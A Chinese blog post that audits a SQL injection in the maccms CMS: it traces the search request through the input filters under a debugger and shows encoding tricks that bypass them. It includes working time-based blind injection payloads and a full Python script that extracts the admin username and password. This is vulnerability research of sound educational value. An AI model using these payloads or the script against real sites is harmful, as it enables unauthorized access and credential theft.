内容简介:已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文。Web: phpstudySystem: Windows 10 X64
0x01 前言
已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文。
0x02 环境
Web: phpstudy
System: Windows 10 X64
Browser: Firefox Quantum
Python version : 2.7
Tools: JetBrains PhpStorm 2018.1.6 x64、Seay代码审计工具
搭建这个程序也挺简单的,也是一步到位。
0x03 漏洞复现
- 首先在程序的后台添加一条数据
- 执行我们的payload,可以看到网站跳转延迟了3s以上。
url:http://sb.com/index.php?m=vod-search
post:wd=))||if((select%0bascii(length((select(m_name)\`\`from(mac_manager))))=53),(\`sleep\`(3)),0)#%25%35%63
- 因为是盲注所以注入出管理员的账号密码在下文分析。
0x04 SQL 执行过程分析
- 先弄清楚sql是如何执行的一个过程,然后再去分析怎么会造成SQL注入的一个过程,这样对学习代码审计也是一个好处。
因为是动态分析,不会的安装调试环境的请到这篇文章按步骤完成安装https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/ - phpstorm打开这个选项,意思就是断在当前脚本文件的第一行,我就不下断点了,跟着它执行的过程走一遍。
- 我们先随便输入一点数据
访问后会断在index.php的第一行
- F8往下走,走到第14行F7跟进去。
然后F8一直往下走,可以看到拦截的规则
走到POST的过滤这里F7进去
arr_foreach
函数检查传过来的值是否是数组,不是数组就返回原数据,然后用urldecode
函数URL解码。
最后分别对传过来的wd
和test
两个值进行匹配,如果存在拦截规则里面的字符就跳转到错误信息。
比如你输入wd=/**/
就会被拦截
因为/**/
存在拦截的正则表达式里面。
- 走出来会到
$m = be('get','m');
这里,这里只是对m
传过来的vod-search
进行addslashes
函数的过滤
- 我怕文章过长,一些不必要的代码自己去细读一遍就行了,F8一直往下周,走到37行F7进去,因为我们传过来的的参数是
vod
,所以会包含vod.php
文件并执行。
- 因为我们传参是
search
所以会走到这里,我们可以F7进去看执行的过程。
在这里会经过urldecode
函数的解码,一直循环到不能解码为止,然后经过刚才的StopAttack
方法的过滤
最后到htmlEncode
方法的替换
- 跳出到
vod.php
文件后F8走到这里,F7进去看SQL执行的过程。
一直走到markname
的值是vod
然后不用管F8继续往下走,走到这里再F7进去
可以看到SQL执行是到这里,下面是执行的语句
SELECT count(*) FROM {pre}vod WHERE 1=1 AND d_hide=0 AND d_type>0 and d_type not in(0) and d_usergroup in(0) AND ( instr(d_name,'test')>0 or instr(d_subname,'test')>0 or instr(d_starring,'test')>0 )
0x05 漏洞分析
上面分析了SQL执行过程,下面分析这个是如何构成SQL注入的。
- 刚才这里跳过了,文件位置:
inc/common/template.php
,可以看到传过来的P["wd"]
值赋值给了$lp['wd']
。
- 再往下看753~755行,可以看到我们的值是放在这里面,然后送去
GetOne
执行的。if (!empty($lp['wd'])){ $where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) '; }
- 构造的语句,只有中间才是执行的语句,前一句是为了闭合单引号,后面是注释。如果这里不清楚的可以用 MySQL 监控的软件去一步一步弄清楚。
SELECT count(*) FROM mac_vod WHERE 1=1 AND d_hide=0 AND d_type>0 and d_type not in(0) and d_usergroup in(0) AND ( instr(d_name,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0)#\')>0 or instr(d_subname,')) ||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0) #\')>0 or instr(d_starring,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(5)),0)#\')>0 )
- 但是如果直接放语句上去会被检测到危险字符
它主要对我们这里的空格连接处匹配到了
那么我们可以用别名as ‘ ‘去代替,也可以省略as直接用 ‘ ‘,别名的用法在文章尾部的参考有给出。 - 我们再执行,用Seay的代码审计 工具 的Mysql监控软件查看,我们的空格和后面的
\
被转义了。
还记得我们chkSql
方法吗?先是执行urldecode
解码,然后StopAttack
匹配,最后htmlEncode
编码,最后Be
方法那里 还有一个addslashes
函数过滤,所以会导致后面的\
转义成\\
。htmlEncode
又会对前面的空格转义成function chkSql($s) { global $getfilter; if(empty($s)){ return ""; } $d=$s; while(true){ $s = urldecode($d); if($s==$d){ break; } $d = $s; } StopAttack(1,$s,$getfilter); return htmlEncode($s); }
- 这里我们可以利用URL编码绕过
htmlEncode
,具体可以看HTML URL编码表%0c
%0b
等都可以,后面的\
可以用URL编码绕过%5c
或者双编码%25%35%63
- 那么我们构造成的payload就是下面的,功能是查询管理员账号字段的长度
wd=))||if((select%0cascii(length((select(m_name)
from(mac_manager))))=53),(sleep
(3)),0)#%5c``
0x06 编写盲注脚本
当然盲注一般都不会手动去,SQLMAP有时候遇到特殊的也是要自己编写注入的脚本,具体代码的意思我就不解读了,自己可以结合 Python 和MySQL的知识理解。
#! /usr/bin/python # -*- coding:utf-8 -*- #author:F0rmat import requests import time dict = "1234567890qwertyuiopasdfghjklzxcvbnm_{}QWERTYUIOPASDFGHJKLZXCVBNM,@.?" UserName='' UserPass='' UserName_length=0 url='http://sb.com/' url = url + r'/index.php?m=vod-search' def main(): global UserName global url for i in range(30): startTime = time.time() sql = "))||if((select%0bascii(length((select(m_name)``from(mac_manager))))={}),(`sleep`(3)),0)#%25%35%63".format( ord(str(i))) data = {'wd': sql} response = requests.post(url, data=data) # 发送请求 if time.time() - startTime > 3: UserName_length = i print UserName_length break for num in range(1, UserName_length + 1): for i in dict: # 遍历取出字符 startTime = time.time() sql = "))||if((select%0bascii(substr((select(m_name)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format( str(num), ord(i)) data = {'wd': sql} response = requests.post(url, data=data) # 发送请求 print data if time.time() - startTime > 3: UserName += i break global UserPass for num in range(32): for i in dict: # 遍历取出字符 startTime = time.time() sql = "))||if((select%0bascii(substr((select(m_password)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format( str(num), ord(i)) data = {'wd': sql} response = requests.post(url, data=data) # 发送请求 print data if time.time() - startTime > 3: UserPass += i break print 'username:'+UserName,'password:'+UserPass if __name__ == '__main__': main()
0x07 总结
有时候学习代码审计,不能因为部分的代码没能读懂就不去理会,其实你读的代码越多,做代码审计也越轻松。
0x08 参考
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 脚本文件里的 Hybrid Script(混合式脚本)
- 脚本错误量极致优化-定位压缩且无 SourceMap 文件的脚本错误
- 如何从PHP脚本(如批处理文件)中运行多个PHP脚本?
- 荐 python脚本如何监听终止进程行为,如何通过脚本名获取pid
- 在新的,干净的PowerShell实例中调用PowerShell脚本(在另一个脚本中)
- 云服务商封杀AI客户:因判定其Python脚本是恶意脚本
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。